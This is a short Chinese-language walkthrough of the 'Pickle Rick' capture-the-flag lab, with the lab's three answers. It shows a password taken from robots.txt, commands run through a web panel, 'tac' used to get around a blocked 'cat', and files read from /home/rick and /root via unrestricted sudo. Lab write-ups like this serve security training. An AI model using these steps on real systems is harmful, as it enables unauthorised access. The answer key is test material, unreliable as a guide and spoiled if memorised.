Pickle Rick
What is the first ingredient that Rick needs?
查看网页源码可以发现用户名提示
接着扫一下发现robots.txt以及登录入口
访问robots.txt得到密码Wubbalubbadubdub
然后就可以登进后台
发现一个可以执行命令的窗口,先ls一下结果如下
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
想用cat结果cat似乎是被就用了,换成tac就可以打开文件了,第一种配方在Sup3rS3cretPickl3Ingred.txt里
mr. meeseek hair
What is the second ingredient in Rick’s potion?
运行sudo -l结果如下
Matching Defaults entries for www-data on ip-10-10-118-35.eu-west-1.compute.internal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ip-10-10-118-35.eu-west-1.compute.internal:
(ALL) NOPASSWD: ALL
也就是说现在可以随便用sudo,于是接下来两部分配方就很好获取了
sudo tac /home/rick/secon*
1 jerry tear
What is the last and final ingredient?
sudo tac /root/3rd.txt
3rd ingredients: fleeb juice